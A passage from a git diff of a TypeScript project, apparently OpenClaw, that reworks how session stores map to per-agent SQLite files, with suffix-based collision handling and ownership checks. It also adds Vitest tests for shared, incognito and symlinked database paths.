buildAgentMainSessionKey, - DEFAULT_AGENT_ID, normalizeAgentId, normalizeMainKey, } from "../../routing/session-key.js"; @@ -39,7 +38,7 @@ export function resolveSessionKey( scope: SessionScope, ctx: MsgContext, mainKey?: string, - agentId: string = DEFAULT_AGENT_ID, + agentId?: string, ) { const explicit = ctx.SessionKey?.trim(); if (explicit) { @@ -49,6 +48,9 @@ export function resolveSessionKey( if (scope === "global") { return raw; } + if (!agentId?.trim()) { + throw new Error("Session key resolution requires an explicit configured agent id."); + } const canonicalAgentId = normalizeAgentId(agentId); const canonicalMainKey = normalizeMainKey(mainKey); const canonical = buildAgentMainSessionKey({ diff --git a/src/config/sessions/session-sqlite-target.ownership.test.ts b/src/config/sessions/session-sqlite-target.ownership.test.ts new file mode 100644 index 000000000000..80e056be2b5b --- /dev/null +++ b/src/config/sessions/session-sqlite-target.ownership.test.ts @@ -0,0 +1,53 @@ +import path from "node:path"; +import { withTempHome } from "openclaw/plugin-sdk/test-env"; +import { describe, expect, it } from "vitest"; +import { unregisterOpenClawAgentDatabase } from "../../state/openclaw-agent-db-registry.js"; +import { openOpenClawAgentDatabase } from "../../state/openclaw-agent-db.js"; +import { loadSessionEntry, replaceSessionEntry } from "./session-accessor.js"; +import { resolveSqliteTargetFromSessionStorePath } from "./session-sqlite-target.js"; + +describe("explicit SQLite session target ownership", () => { + it("keeps scoped rows for multiple agents in one exact SQLite locator", async () => { + await withTempHome(async (home) => { + const env = { ...process.env, OPENCLAW_STATE_DIR: path.join(home, ".openclaw") }; + const storePath = path.join(home, "shared.sqlite"); + const mainScope = { + agentId: "main", + defaultAgentId: "main", + env, + sessionKey: "agent:main:main", + storePath, + }; + const opsScope = { + agentId: "ops", + defaultAgentId: "main", + env, + sessionKey: "agent:ops:main", + storePath, + }; + + const now = Date.now(); + await replaceSessionEntry(mainScope, { sessionId: "main-session", updatedAt: now }); + await replaceSessionEntry(opsScope, { sessionId: "ops-session", updatedAt: now + 1 }); + + expect(loadSessionEntry(mainScope)).toMatchObject({ sessionId: "main-session" }); + expect(loadSessionEntry(opsScope)).toMatchObject({ sessionId: "ops-session" }); + }); + }); + + it("honors durable ownership after the registry row is removed", async () => { + await withTempHome(async (home) => { + const stateDir = path.join(home, ".openclaw"); + const env = { ...process.env, OPENCLAW_STATE_DIR: stateDir }; + const databasePath = path.join(home, "shared.sqlite"); + openOpenClawAgentDatabase({ agentId: "ops", env, path: databasePath }); + unregisterOpenClawAgentDatabase({ agentId: "ops", env, path: databasePath }); + + expect(resolveSqliteTargetFromSessionStorePath(databasePath, { env })).toMatchObject({ + agentId: "ops", + ownerSource: "database-path", + path: databasePath, + }); + }); + }); +}); diff --git a/src/config/sessions/session-sqlite-target.test.ts b/src/config/sessions/session-sqlite-target.test.ts index 0dbf82125c56..0bc739d42fa8 100644 --- a/src/config/sessions/session-sqlite-target.test.ts +++ b/src/config/sessions/session-sqlite-target.test.ts @@ -1,8 +1,60 @@ +import fs from "node:fs"; import path from "node:path"; -import { describe, expect, it } from "vitest"; +import { afterEach, describe, expect, it } from "vitest"; +import { useAutoCleanupTempDirTracker } from "../../../test/helpers/temp-dir.js"; +import { resolveIncognitoOpenClawAgentSqlitePath } from "../../state/openclaw-agent-db.js"; import { resolveSqliteTargetFromSessionStorePath } from "./session-sqlite-target.js"; describe("resolveSqliteTargetFromSessionStorePath", () => { + const tempDirs = useAutoCleanupTempDirTracker(afterEach); + it("assigns a new exact SQLite locator to the configured default without caller capture", () => { + const databasePath = path.resolve("tmp", "stores", "new-shared.sqlite"); + + expect( + resolveSqliteTargetFromSessionStorePath(databasePath, { + agentId: "worker", + defaultAgentId: "ops", + }), + ).toMatchObject({ + agentId: "ops", + ownerSource: "configured-default", + path: databasePath, + shared: true, + }); + }); + + it("keeps a multiply registered exact SQLite locator shared", () => { + const databasePath = path.resolve("tmp", "stores", "existing-shared.sqlite"); + + expect( + resolveSqliteTargetFromSessionStorePath(databasePath, { + defaultAgentId: "main", + registeredDatabases: [ + { agentId: "main", path: databasePath }, + { agentId: "ops", path: databasePath }, + ], + }), + ).toMatchObject({ + agentId: "main", + ownerSource: "ambiguous-registry", + path: databasePath, + shared: true, + }); + }); + + it("keeps an incognito sentinel owned by its requested agent", () => { + const env = { OPENCLAW_STATE_DIR: tempDirs.make("openclaw-incognito-target-") }; + const databasePath = resolveIncognitoOpenClawAgentSqlitePath({ agentId: "ops", env }); + + expect( + resolveSqliteTargetFromSessionStorePath(databasePath, { + agentId: "ops", + defaultAgentId: "main", + env, + }), + ).toEqual({ agentId: "ops", path: databasePath }); + }); + it("keeps custom store targets distinct when templates share a directory", () => { const dir = path.join("tmp", "stores"); @@ -25,6 +77,185 @@ describe("resolveSqliteTargetFromSessionStorePath", () => { }); }); + it("keeps basename-matching non-owners on a distinct suffixed target", () => { + const storePath = path.join("tmp", "stores", "ops.json"); + + expect(resolveSqliteTargetFromSessionStorePath(storePath, { agentId: "main" }).path).toBe( + path.resolve("tmp", "stores", "ops.sqlite"), + ); + expect( + resolveSqliteTargetFromSessionStorePath(storePath, { + agentId: "ops", + defaultAgentId: "main", + }).path, + ).toBe(path.resolve("tmp", "stores", "ops.ops.sqlite")); + }); + + it("lets the registered owner retain the unsuffixed target", () => { + const storePath = path.join("tmp", "stores", "ops.json"); + + expect( + resolveSqliteTargetFromSessionStorePath(storePath, { + agentId: "ops", + defaultAgentId: "main", + registeredDatabases: [ + { agentId: "ops", path: path.resolve("tmp", "stores", "ops.sqlite") }, + ], + }).path, + ).toBe(path.resolve("tmp", "stores", "ops.sqlite")); + expect( + resolveSqliteTargetFromSessionStorePath(storePath, { + agentId: "main", + defaultAgentId: "main", + registeredDatabases: [ + { agentId: "ops", path: path.resolve("tmp", "stores", "ops.sqlite") }, + ], + }).path, + ).toBe(path.resolve("tmp", "stores", "ops.main.sqlite")); + }); + + it("skips a conventional suffix persisted for another owner", () => { + const storePath = path.join("tmp", "stores", "shared.json"); + const occupiedPath = path.resolve("tmp", "stores", "shared.worker.sqlite"); + + expect( + resolveSqliteTargetFromSessionStorePath(storePath, { + agentId: "worker", + defaultAgentId: "main", + registeredDatabases: [{ agentId: "ops", path: occupiedPath }], + }).path, + ).toBe(path.resolve("tmp", "stores", "shared.worker.2.sqlite")); + }); + + it("does not treat ambiguous suffix registration as ownership", () => { + const storePath = path.join("tmp", "stores", "shared.json"); + const ambiguousPath = path.resolve("tmp", "stores", "shared.worker.sqlite"); + + expect( + resolveSqliteTargetFromSessionStorePath(storePath, { + agentId: "worker", + defaultAgentId: "main", + registeredDatabases: [ + { agentId: "worker", path: ambiguousPath }, + { agentId: "ops", path: ambiguousPath }, + ], + }).path, + ).toBe(path.resolve("tmp", "stores", "shared.worker.2.sqlite")); + }); + + it("does not assign an ambiguously registered unsuffixed target to the default", () => { + const storePath = path.join("tmp", "stores", "shared.json"); + const unsuffixedPath = path.resolve("tmp", "stores", "shared.sqlite"); + + expect( + resolveSqliteTargetFromSessionStorePath(storePath, { + agentId: "main", + defaultAgentId: "main", + registeredDatabases: [ + { agentId: "main", path: unsuffixedPath }, + { agentId: "ops", path: unsuffixedPath }, + ], + }).path, + ).toBe(path.resolve("tmp", "stores", "shared.main.sqlite")); + }); + + it("searches past every occupied suffix for the first free target", () => { + const storePath = path.join("tmp", "stores", "shared.json"); + const registeredDatabases = Array.from({ length: 33 }, (_, offset) => { + const index = offset + 1; + const fileName = index === 1 ? "shared.worker.sqlite" : `shared.worker.${index}.sqlite`; + return { agentId: "ops", path: path.resolve("tmp", "stores", fileName) }; + }); + + expect( + resolveSqliteTargetFromSessionStorePath(storePath, { + agentId: "worker", + defaultAgentId: "main", + registeredDatabases, + }).path, + ).toBe(path.resolve("tmp", "stores", "shared.worker.34.sqlite")); + }); + + it("ignores a sparse huge suffix when the conventional suffix is free", () => { + const storePath = path.join("tmp", "stores", "shared.json"); + + expect( + resolveSqliteTargetFromSessionStorePath(storePath, { + agentId: "worker", + defaultAgentId: "main", + registeredDatabases: [ + { + agentId: "ops", + path: path.resolve("tmp", "stores", "shared.worker.2147483647.sqlite"), + }, + ], + }).path, + ).toBe(path.resolve("tmp", "stores", "shared.worker.sqlite")); + }); + + it("does not treat noncanonical numeric suffix spellings as occupied indices", () => { + const storePath = path.join("tmp", "stores", "shared.json"); + + expect( + resolveSqliteTargetFromSessionStorePath(storePath, { + agentId: "worker", + defaultAgentId: "main", + registeredDatabases: [ + { + agentId: "ops", + path: path.resolve("tmp", "stores", "shared.worker.sqlite"), + }, + { + agentId: "ops", + path: path.resolve("tmp", "stores", "shared.worker.02.sqlite"), + }, + ], + }).path, + ).toBe(path.resolve("tmp", "stores", "shared.worker.2.sqlite")); + }); + + it.runIf(process.platform !== "win32")("treats dangling suffix symlinks as occupied", () => { + const dir = tempDirs.make("openclaw-session-suffix-symlink-"); + const storePath = path.join(dir, "shared.json"); + fs.symlinkSync(path.join(dir, "missing-target.sqlite"), path.join(dir, "shared.worker.sqlite")); + + expect( + resolveSqliteTargetFromSessionStorePath(storePath, { + agentId: "worker", + defaultAgentId: "main", + }).path, + ).toBe(path.join(dir, "shared.worker.2.sqlite")); + }); + + it.runIf(process.platform !== "win32")( + "does not assign a dangling unsuffixed symlink to the default", + () => { + const dir = tempDirs.make("openclaw-session-unsuffixed-symlink-"); + const storePath = path.join(dir, "shared.json"); + fs.symlinkSync(path.join(dir, "missing-target.sqlite"), path.join(dir, "shared.sqlite")); + + expect( + resolveSqliteTargetFromSessionStorePath(storePath, { + agentId: "main", + defaultAgentId: "main", + }).path, + ).toBe(path.join(dir, "shared.main.sqlite")); + }, + ); + + it("propagates non-missing target-directory inspection errors", () => { + const dir = tempDirs.make("openclaw-session-suffix-inspection-"); + const blocker = path.join(dir, "not-a-directory"); + fs.writeFileSync(blocker, "blocked\n"); + + expect(() => + resolveSqliteTargetFromSessionStorePath(path.join(blocker, "shared.json"), { + agentId: "worker", + defaultAgentId: "main", + }), + ).toThrow(expect.objectContaining({ code: "ENOTDIR" })); + }); + it("keeps shared custom sessions.json targets distinct by agent", () => { const storePath = path.join("tmp", "stores", "sessions.json"); diff --git a/src/config/sessions/session-sqlite-target.ts b/src/config/sessions/session-sqlite-target.ts index 93f835e4fef8..2123a54f31eb 100644 --- a/src/config/sessions/session-sqlite-target.ts +++ b/src/config/sessions/session-sqlite-target.ts @@ -1,69 +1,234 @@ +import { lstatSync, readdirSync } from "node:fs"; import path from "node:path"; -import { DEFAULT_AGENT_ID, normalizeAgentId } from "../../routing/session-key.js"; +import { LEGACY_IMPLICIT_AGENT_ID, normalizeAgentId } from "../../routing/session-key.js"; +import type { OpenClawRegisteredAgentDatabase } from "../../state/openclaw-agent-db-contract.js"; +import { + isSameOpenClawAgentDatabasePath, + listOpenClawRegisteredAgentDatabases, +} from "../../state/openclaw-agent-db-registry.js"; +import { + inspectOpenClawAgentDatabaseOwner, + isIncognitoOpenClawAgentSqlitePath, +} from "../../state/openclaw-agent-db.js"; /** SQLite database target resolved from a legacy session store path. */ type ResolvedSqliteStoreTarget = { agentId?: string; + ownerSource?: + | "database-registry" + | "database-path" + | "registered-suffixed" + | "occupied-unsuffixed" + | "configured-default" + | "ambiguous-registry"; path: string; + shared?: boolean; + unsuffixedOwnerAgentId?: string; }; -function resolveCustomStoreSqlitePath(params: { +type ResolveSqliteStoreTargetOptions = { agentId?: string; - sqliteBaseName?: string; - storePath: string; -}): string { - const resolved = path.resolve(params.storePath); - const sessionsDir = path.dirname(resolved); - const sqliteBaseName = - params.sqliteBaseName ?? (path.basename(resolved, path.extname(resolved)) || "openclaw-agent"); - const agentId = params.agentId ? normalizeAgentId(params.agentId) : undefined; - const sqliteName = - agentId && agentId !== DEFAULT_AGENT_ID && normalizeAgentId(sqliteBaseName) !== agentId - ? `${sqliteBaseName}.${agentId}` - : sqliteBaseName; - return path.join(sessionsDir, `${sqliteName}.sqlite`); + defaultAgentId?: string; + env?: NodeJS.ProcessEnv; + registeredDatabases?: readonly Pick[]; +}; + +function resolveRegisteredOwners( + pathname: string, + registeredDatabases: readonly Pick[], +): string[] { + return [ + ...new Set( + registeredDatabases + .filter((entry) => isSameOpenClawAgentDatabasePath(entry.path, pathname)) + .map((entry) => normalizeAgentId(entry.agentId)), + ), + ]; } -/** Resolves the SQLite database target that owns a legacy session store path. */ -export function resolveSqliteTargetFromSessionStorePath( +function resolveDatabaseOwner(pathname: string): string | undefined { + if (!hasFilesystemEntry(pathname)) { + return undefined; + } + const owner = inspectOpenClawAgentDatabaseOwner(pathname); + return owner.status === "owned" ? normalizeAgentId(owner.agentId) : undefined; +} + +function hasFilesystemEntry(pathname: string): boolean { + try { + lstatSync(pathname); + return true; + } catch (error) { + if ((error as NodeJS.ErrnoException).code === "ENOENT") { + return false; + } + throw error; + } +} + +function resolveCustomStoreSqlitePath(params: { + unsuffixedPath: string; + options: ResolveSqliteStoreTargetOptions; +}): ResolvedSqliteStoreTarget { + const unsuffixedPath = path.resolve(params.unsuffixedPath); + const sqliteBaseName = path.basename(unsuffixedPath, ".sqlite"); + const sessionsDir = path.dirname(unsuffixedPath); + const defaultAgentId = normalizeAgentId(params.options.defaultAgentId ?? "main"); + const agentId = normalizeAgentId(params.options.agentId ?? defaultAgentId); + const registeredDatabases = + params.options.registeredDatabases ?? + listOpenClawRegisteredAgentDatabases(params.options.env ? { env: params.options.env } : {}); + const resolvePersistedOwner = (candidatePath: string) => { + const registeredOwners = resolveRegisteredOwners(candidatePath, registeredDatabases); + const databaseOwner = resolveDatabaseOwner(candidatePath); + return { + effectiveOwner: + registeredOwners.length === 1 + ? registeredOwners[0] + : registeredOwners.length === 0 + ? databaseOwner + : undefined, + registeredOwners, + }; + }; + const registeredUnsuffixedOwners = resolveRegisteredOwners(unsuffixedPath, registeredDatabases); + const durableUnsuffixedOwner = resolveDatabaseOwner(unsuffixedPath); + const persistedUnsuffixedOwner = + registeredUnsuffixedOwners.length === 1 + ? registeredUnsuffixedOwners[0] + : registeredUnsuffixedOwners.length === 0 + ? durableUnsuffixedOwner + : undefined; + const suffixedPathFor = (ownerAgentId: string) => + path.join(sessionsDir, `${sqliteBaseName}.${ownerAgentId}.sqlite`); + const resolveSuffixedTarget = (ownerAgentId: string) => { + const prefix = `${sqliteBaseName}.${ownerAgentId}`; + const parseIndex = (fileName: string): number | undefined => { + if (fileName === `${prefix}.sqlite`) { + return 1; + } + if (!fileName.startsWith(`${prefix}.`) || !fileName.endsWith(".sqlite")) { + return undefined; + } + const rawValue = fileName.slice(prefix.length + 1, -".sqlite".length); + if (!/^[1-9]\d*$/.test(rawValue)) { + return undefined; + } + const value = Number(rawValue); + return Number.isSafeInteger(value) && value >= 2 && String(value) === rawValue + ? value + : undefined; + }; + const occupiedIndexes = new Set(); + for (const registered of registeredDatabases) { + if (!isSameOpenClawAgentDatabasePath(path.dirname(registered.path), sessionsDir)) { + continue; + } + const index = parseIndex(path.basename(registered.path)); + if (index !== undefined) { + occupiedIndexes.add(index); + } + } + try { + for (const fileName of readdirSync(sessionsDir)) { + const index = parseIndex(fileName); + if (index !== undefined) { + occupiedIndexes.add(index); + } + } + } catch (error) { + if ((error as NodeJS.ErrnoException).code !== "ENOENT") { + throw error; + } + // A missing target directory has no occupied on-disk suffixes. + } + const candidatePathAt = (index: number) => + index === 1 + ? suffixedPathFor(ownerAgentId) + : path.join(sessionsDir, `${prefix}.${index}.sqlite`); + const sortedOccupiedIndexes = [...occupiedIndexes].toSorted((left, right) => left - right); + for (const index of sortedOccupiedIndexes) { + const candidatePath = candidatePathAt(index); + if (resolvePersistedOwner(candidatePath).effectiveOwner === ownerAgentId) { + return { owned: true, path: candidatePath }; + } + } + let firstMissingIndex = 1; + for (const index of sortedOccupiedIndexes) { + if (index === firstMissingIndex) { + firstMissingIndex += 1; + } else if (index > firstMissingIndex) { + break; + } + } + for (let index = firstMissingIndex; ; index += 1) { + const candidatePath = candidatePathAt(index); + const candidateOwner = resolvePersistedOwner(candidatePath); + if (candidateOwner.effectiveOwner === ownerAgentId) { + return { owned: true, path: candidatePath }; + } + if (candidateOwner.registeredOwners.length === 0 && !hasFilesystemEntry(candidatePath)) { + return { owned: false, path: candidatePath }; + } + } + }; + const defaultSuffixedTarget = resolveSuffixedTarget(defaultAgentId); + const agentSuffixedTarget = + agentId === defaultAgentId ? defaultSuffixedTarget : resolveSuffixedTarget(agentId); + const defaultOwnsSuffixedPath = defaultSuffixedTarget.owned; + const agentOwnsSuffixedPath = agentSuffixedTarget.owned; + const unsuffixedAvailable = + registeredUnsuffixedOwners.length === 0 && !hasFilesystemEntry(unsuffixedPath); + const fallbackUnsuffixedOwner = + persistedUnsuffixedOwner || defaultOwnsSuffixedPath || !unsuffixedAvailable + ? undefined + : defaultAgentId; + const unsuffixedOwnerAgentId = persistedUnsuffixedOwner ?? fallbackUnsuffixedOwner; + const useUnsuffixedPath = + agentId === persistedUnsuffixedOwner || + (!agentOwnsSuffixedPath && agentId === fallbackUnsuffixedOwner); + const ownerSource = persistedUnsuffixedOwner + ? registeredUnsuffixedOwners.length === 1 + ? "database-registry" + : "database-path" + : defaultOwnsSuffixedPath + ? "registered-suffixed" + : registeredUnsuffixedOwners.length > 1 + ? "ambiguous-registry" + : !unsuffixedAvailable + ? "occupied-unsuffixed" + : "configured-default"; + // Fixed-store precedence is: persisted unsuffixed owner, the agent's own persisted suffix, + // configured-default unsuffixed ownership, then a new suffix. Filenames never infer ownership. + // This keeps promotions stable and guarantees one physical SQLite target per agent. + return { + agentId, + path: useUnsuffixedPath ? unsuffixedPath : agentSuffixedTarget.path, + ownerSource, + ...(unsuffixedOwnerAgentId ? { unsuffixedOwnerAgentId } : {}), + }; +} + +/** Resolves only the legacy unsuffixed target, without reading ownership state. */ +export function resolveUnsuffixedSqliteTargetFromSessionStorePath( storePath: string, - options: { agentId?: string } = {}, ): ResolvedSqliteStoreTarget { const resolved = path.resolve(storePath); if (path.basename(resolved) === "openclaw-agent.sqlite" || resolved.endsWith(".sqlite")) { const agentId = resolveAgentIdFromSqliteDatabasePath(resolved); - return { - path: resolved, - ...(agentId ? { agentId } : {}), - }; + return { path: resolved, ...(agentId ? { agentId } : {}) }; } const sessionsDir = path.dirname(resolved); if (path.basename(resolved) !== "sessions.json") { - return { - path: resolveCustomStoreSqlitePath({ - ...(options.agentId ? { agentId: options.agentId } : {}), - storePath: resolved, - }), - }; + const sqliteBaseName = path.basename(resolved, path.extname(resolved)) || "openclaw-agent"; + return { path: path.join(sessionsDir, `${sqliteBaseName}.sqlite`) }; } if (path.basename(sessionsDir) !== "sessions") { - return { - path: resolveCustomStoreSqlitePath({ - ...(options.agentId ? { agentId: options.agentId } : {}), - sqliteBaseName: "openclaw-agent", - storePath: resolved, - }), - }; + return { path: path.join(sessionsDir, "openclaw-agent.sqlite") }; } const agentDir = path.dirname(sessionsDir); if (path.basename(path.dirname(agentDir)) !== "agents") { - return { - path: resolveCustomStoreSqlitePath({ - ...(options.agentId ? { agentId: options.agentId } : {}), - sqliteBaseName: "openclaw-agent", - storePath: resolved, - }), - }; + return { path: path.join(sessionsDir, "openclaw-agent.sqlite") }; } return { agentId: normalizeAgentId(path.basename(agentDir)), @@ -71,6 +236,98 @@ export function resolveSqliteTargetFromSessionStorePath( }; } +/** Resolves the SQLite database target that owns a legacy session store path. */ +export function resolveSqliteTargetFromSessionStorePath( + storePath: string, + options: ResolveSqliteStoreTargetOptions = {}, +): ResolvedSqliteStoreTarget { + const unsuffixedTarget = resolveUnsuffixedSqliteTargetFromSessionStorePath(storePath); + const requestedAgentId = options.agentId ? normalizeAgentId(options.agentId) : undefined; + if ( + requestedAgentId && + isIncognitoOpenClawAgentSqlitePath(unsuffixedTarget.path, { + agentId: requestedAgentId, + env: options.env, + }) + ) { + return { agentId: requestedAgentId, path: unsuffixedTarget.path }; + } + if (unsuffixedTarget.agentId) { + return unsuffixedTarget; + } + if (path.resolve(storePath).endsWith(".sqlite")) { + const registeredDatabases = + options.registeredDatabases ?? + listOpenClawRegisteredAgentDatabases(options.env ? { env: options.env } : {}); + const registeredOwners = resolveRegisteredOwners(unsuffixedTarget.path, registeredDatabases); + const databaseOwner = resolveDatabaseOwner(unsuffixedTarget.path); + const configuredDefaultAgentId = normalizeAgentId( + options.defaultAgentId ?? LEGACY_IMPLICIT_AGENT_ID, + ); + const ownerAgentId = + (registeredOwners.length === 1 ? registeredOwners[0] : undefined) ?? + databaseOwner ?? + configuredDefaultAgentId; + return { + ...(ownerAgentId ? { agentId: ownerAgentId } : {}), + path: unsuffixedTarget.path, + // Exact locators are shared session stores: scoped keys partition rows inside one file. + // The physical schema owner must never turn the first caller into the store's sole owner. + shared: true, + ...(registeredOwners.length === 1 + ? { ownerSource: "database-registry" as const } + : databaseOwner + ? { ownerSource: "database-path" as const } + : registeredOwners.length > 1 + ? { ownerSource: "ambiguous-registry" as const } + : { ownerSource: "configured-default" as const }), + }; + } + return resolveCustomStoreSqlitePath({ unsuffixedPath: unsuffixedTarget.path, options }); +} + +/** Lists durable owners recorded in the fixed store's bounded SQLite sibling family. */ +export function listDurableSqliteTargetOwnersForSessionStorePath(storePath: string): string[] { + const owners = new Set(); + for (const candidatePath of listSqliteTargetCandidatePathsForSessionStorePath(storePath)) { + const owner = resolveDatabaseOwner(candidatePath); + if (owner) { + owners.add(owner); + } + } + return [...owners]; +} + +function listSqliteTargetCandidatePathsForSessionStorePath(storePath: string): string[] { + const unsuffixedTarget = resolveUnsuffixedSqliteTargetFromSessionStorePath(storePath); + if (unsuffixedTarget.agentId || path.resolve(storePath).endsWith(".sqlite")) { + return [unsuffixedTarget.path]; + } + const directory = path.dirname(unsuffixedTarget.path); + const baseName = path.basename(unsuffixedTarget.path, ".sqlite"); + const candidateNames = new Set([path.basename(unsuffixedTarget.path)]); + try { + for (const fileName of readdirSync(directory)) { + if (fileName.startsWith(`${baseName}.`) && fileName.endsWith(".sqlite")) { + candidateNames.add(fileName); + } + } + } catch (error) { + if ((error as NodeJS.ErrnoException).code !== "ENOENT") { + throw error; + } + } + return [...candidateNames].map((fileName) => path.join(directory, fileName)); +} + +/** Lists the logical store's unsuffixed target plus durable owned partitions. */ +export function listDurableSqliteTargetPathsForSessionStorePath(storePath: string): string[] { + const candidates = listSqliteTargetCandidatePathsForSessionStorePath(storePath); + return candidates.filter( + (candidatePath, index) => index === 0 || resolveDatabaseOwner(candidatePath) !== undefined, + ); +} + /** Extracts the agent id from the canonical per-agent SQLite database path. */ function resolveAgentIdFromSqliteDatabasePath(databasePath: string): string | undefined { if (path.basename(databasePath) !== "openclaw-agent.sqlite") { diff --git a/src/config/sessions/targets-collision.ts b/src/config/sessions/targets-collision.ts new file mode 100644 index 000000000000..8df0e0ac92dc --- /dev/null +++ b/src/config/sessions/targets-collision.ts @@ -0,0 +1,180 @@ +// Fixed-store collision ownership and physical SQLite target deduplication. +import path from "node:path"; +import { createSubsystemLogger } from "../../logging/subsystem.js"; +import { normalizeAgentId } from "../../routing/session-key.js"; +import { + isSameOpenClawAgentDatabasePath, + listOpenClawRegisteredAgentDatabases, +} from "../../state/openclaw-agent-db-registry.js"; +import { + resolveSqliteTargetFromSessionStorePath, + resolveUnsuffixedSqliteTargetFromSessionStorePath, +} from "./session-sqlite-target.js"; + +/** One session store path paired with its owning agent id. */ +export type SessionStoreTarget = { + agentId: string; + storePath: string; +}; + +type SessionStoreTargetCollisionDiagnostic = { + message: string; + sqlitePath: string; + ownerAgentId?: string; + ignoredAgentIds: string[]; + ownerSource: + | "database-registry" + | "database-path" + | "registered-suffixed" + | "occupied-unsuffixed" + | "configured-default" + | "ambiguous-registry"; +}; + +const log = createSubsystemLogger("sessions/targets"); + +export function dedupeSessionStoreTargetsBySqliteTarget( + targets: SessionStoreTarget[], + options: { + defaultAgentId: string; + env?: NodeJS.ProcessEnv; + onDiagnostic?: (diagnostic: SessionStoreTargetCollisionDiagnostic) => void; + }, +): SessionStoreTarget[] { + // Ownership must not fall back while the authoritative registry is unreadable: + // doing so can project the same physical DB under a different configured default. + const registeredDatabases = listOpenClawRegisteredAgentDatabases({ env: options.env }); + const grouped = new Map< + string, + Array<{ target: SessionStoreTarget; databaseOwnerAgentId?: string }> + >(); + const logicalGroups = new Map< + string, + Array<{ + target: SessionStoreTarget; + ownerSource?: SessionStoreTargetCollisionDiagnostic["ownerSource"]; + unsuffixedOwnerAgentId?: string; + }> + >(); + const resolvePhysicalGroupKey = (groups: ReadonlyMap, pathname: string) => + [...groups.keys()].find((candidate) => isSameOpenClawAgentDatabasePath(candidate, pathname)) ?? + path.resolve(pathname); + for (const target of targets) { + const resolvedUnsuffixedPath = path.resolve( + resolveUnsuffixedSqliteTargetFromSessionStorePath(target.storePath).path ?? target.storePath, + ); + const resolved = resolveSqliteTargetFromSessionStorePath(target.storePath, { + agentId: target.agentId, + defaultAgentId: options.defaultAgentId, + env: options.env, + registeredDatabases, + }); + const sqlitePath = resolvePhysicalGroupKey(grouped, resolved.path ?? target.storePath); + const group = grouped.get(sqlitePath) ?? []; + group.push({ + target, + ...(resolved.agentId ? { databaseOwnerAgentId: normalizeAgentId(resolved.agentId) } : {}), + }); + grouped.set(sqlitePath, group); + const unsuffixedPath = resolvePhysicalGroupKey(logicalGroups, resolvedUnsuffixedPath); + const logicalGroup = logicalGroups.get(unsuffixedPath) ?? []; + logicalGroup.push({ + target, + ...(resolved.ownerSource ? { ownerSource: resolved.ownerSource } : {}), + ...(resolved.unsuffixedOwnerAgentId + ? { unsuffixedOwnerAgentId: resolved.unsuffixedOwnerAgentId } + : {}), + }); + logicalGroups.set(unsuffixedPath, logicalGroup); + } + for (const [sqlitePath, group] of logicalGroups) { + const agentIds = [...new Set(group.map(({ target }) => normalizeAgentId(target.agentId)))]; + if (agentIds.length <= 1 || group.some((entry) => !entry.ownerSource)) { + continue; + } + const ownerAgentId = group[0]?.unsuffixedOwnerAgentId; + const ownerSource = group[0]?.ownerSource ?? "configured-default"; + const ignoredAgentIds = ownerAgentId + ? agentIds.filter((agentId) => agentId !== ownerAgentId) + : agentIds; + const diagnostic: SessionStoreTargetCollisionDiagnostic = { + message: ownerAgentId + ? `Session store target collision at ${sqlitePath}: owner "${ownerAgentId}" selected by ${ownerSource}; suffixed owner(s): ${ignoredAgentIds.map((id) => `"${id}"`).join(", ")}.` + : ownerSource === "registered-suffixed" + ? `Session store target collision at ${sqlitePath}: configured default retains its registered suffixed target; all claimant(s) use suffixed targets: ${ignoredAgentIds.map((id) => `"${id}"`).join(", ")}.` + : ownerSource === "occupied-unsuffixed" + ? `Session store target collision at ${sqlitePath}: unsuffixed target is occupied without a durable owner; all claimant(s) use suffixed targets: ${ignoredAgentIds.map((id) => `"${id}"`).join(", ")}.` + : `Session store target collision at ${sqlitePath}: registry ownership is ambiguous; all claimant(s) use suffixed targets: ${ignoredAgentIds.map((id) => `"${id}"`).join(", ")}.`, + sqlitePath, + ...(ownerAgentId ? { ownerAgentId } : {}), + ignoredAgentIds, + ownerSource, + }; + if (options.onDiagnostic) { + options.onDiagnostic(diagnostic); + } else { + log.warn(diagnostic.message); + } + } + const deduped: SessionStoreTarget[] = []; + for (const [sqlitePath, group] of grouped) { + const byAgentId = new Map( + group.map(({ target }) => [normalizeAgentId(target.agentId), target] as const), + ); + const registeredOwners = [ + ...new Set( + registeredDatabases + .filter((entry) => isSameOpenClawAgentDatabasePath(entry.path, sqlitePath)) + .map((entry) => normalizeAgentId(entry.agentId)), + ), + ]; + const pathOwners = [...new Set(group.flatMap((entry) => entry.databaseOwnerAgentId ?? []))]; + const collision = byAgentId.size > 1; + if (pathOwners.length !== 1 && registeredOwners.length > 1) { + const diagnostic: SessionStoreTargetCollisionDiagnostic = { + message: `Session store target collision at ${sqlitePath}: registry ownership is ambiguous across ${registeredOwners.map((id) => `"${id}"`).join(", ")}; no owner selected.`, + sqlitePath, + ignoredAgentIds: [...byAgentId.keys()], + ownerSource: "ambiguous-registry", + }; + if (options.onDiagnostic) { + options.onDiagnostic(diagnostic); + } else { + log.warn(diagnostic.message); + } + continue; + } + const ownerSource = + pathOwners.length === 1 + ? "database-path" + : registeredOwners.length === 1 + ? "database-registry" + : "configured-default"; + const ownerAgentId = normalizeAgentId( + pathOwners[0] ?? + registeredOwners[0] ?? + (collision ? options.defaultAgentId : group[0]!.target.agentId), + ); + const selected = byAgentId.get(ownerAgentId); + if (selected) { + deduped.push(selected); + } + const ignoredAgentIds = [...byAgentId.keys()].filter((agentId) => agentId !== ownerAgentId); + if (!selected || ignoredAgentIds.length > 0) { + const effectiveIgnoredAgentIds = selected ? ignoredAgentIds : [...byAgentId.keys()]; + const diagnostic: SessionStoreTargetCollisionDiagnostic = { + message: `Session store target collision at ${sqlitePath}: owner "${ownerAgentId}" selected by ${ownerSource}; ignored owner(s): ${effectiveIgnoredAgentIds.map((id) => `"${id}"`).join(", ")}.`, + sqlitePath, + ownerAgentId, + ignoredAgentIds: effectiveIgnoredAgentIds, + ownerSource, + }; + if (options.onDiagnostic) { + options.onDiagnostic(diagnostic); + } else { + log.warn(diagnostic.message); + } + } + } + return deduped; +} diff --git a/src/config/sessions/targets-known-owners.test.ts b/src/config/sessions/targets-known-owners.test.ts new file mode 100644 index 000000000000..f0373bb63d6c --- /dev/null +++ b/src/config/sessions/targets-known-owners.test.ts @@ -0,0 +1,97 @@ +import path from "node:path"; +import { withTempHome } from "openclaw/plugin-sdk/test-env"; +import { describe, expect, it } from "vitest"; +import { unregisterOpenClawAgentDatabase } from "../../state/openclaw-agent-db-registry.js"; +import type { OpenClawConfig } from "../config.js"; +import { replaceSessionEntry } from "./session-accessor.js"; +import { resolveSqliteTargetFromSessionStorePath } from "./session-sqlite-target.js"; +import { listKnownSessionStoreAgentIds } from 